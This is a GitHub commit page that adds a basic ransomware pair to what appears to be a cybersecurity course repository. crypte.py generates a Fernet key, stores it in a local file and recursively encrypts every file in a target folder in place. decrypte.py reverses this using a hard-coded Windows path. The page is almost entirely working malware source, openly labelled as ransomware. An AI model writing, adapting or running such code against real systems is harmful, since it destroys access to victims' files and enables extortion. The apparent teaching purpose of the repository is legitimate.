Skip to content

Commit

Permalink
create ransomware
Browse files Browse the repository at this point in the history
  • Loading branch information
ebubekirdgn committed Dec 27, 2023
1 parent faf9501 commit e207640
Show file tree
Hide file tree
Showing 2 changed files with 84 additions and 0 deletions.
46 changes: 46 additions & 0 deletions 23-Cyber_Securit_Module/Ransomware/crypte.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
import os
from cryptography.fernet import Fernet

def generate_key():
return Fernet.generate_key()

def save_key(key, filename='secret.key'):
with open(filename, 'wb') as key_file:
key_file.write(key)

def load_key(filename='secret.key'):
return open(filename, 'rb').read()

def encrypt_file(key, filename):
fernet = Fernet(key)

with open(filename, 'rb') as file:
file_data = file.read()

encrypted_data = fernet.encrypt(file_data)

with open(filename, 'wb') as encrypted_file:
encrypted_file.write(encrypted_data)

def encrypt_folder(key, folder_path):
fernet = Fernet(key)

for foldername, subfolders, filenames in os.walk(folder_path):
for filename in filenames:
file_path = os.path.join(foldername, filename)

with open(file_path, 'rb') as file:
file_data = file.read()

encrypted_data = fernet.encrypt(file_data)

with open(file_path, 'wb') as encrypted_file:
encrypted_file.write(encrypted_data)

# Anahtar oluşturma ve kaydetme
key = generate_key()
save_key(key)

# Klasör ve altındaki dosyaları şifreleme
folder_path = 'example_folder'
encrypt_folder(key, folder_path)
38 changes: 38 additions & 0 deletions 23-Cyber_Securit_Module/Ransomware/decrypte.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
import os
from cryptography.fernet import Fernet

def load_key(filename='secret.key'):
return open(filename, 'rb').read()

def decrypt_file(key, filename):
fernet = Fernet(key)

with open(filename, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()

decrypted_data = fernet.decrypt(encrypted_data)

with open(filename, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)

def decrypt_folder(key, folder_path):
fernet = Fernet(key)

for foldername, subfolders, filenames in os.walk(folder_path):
for filename in filenames:
file_path = os.path.join(foldername, filename)

with open(file_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()

decrypted_data = fernet.decrypt(encrypted_data)

with open(file_path, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)

# Anahtarı yükleme
key = load_key()

# Klasör ve altındaki dosyaları çözme
folder_path = 'C:/Users/DoganPc/Desktop/ransomware/deneme/'
decrypt_folder(key, folder_path)

0 comments on commit e207640

Please sign in to comment.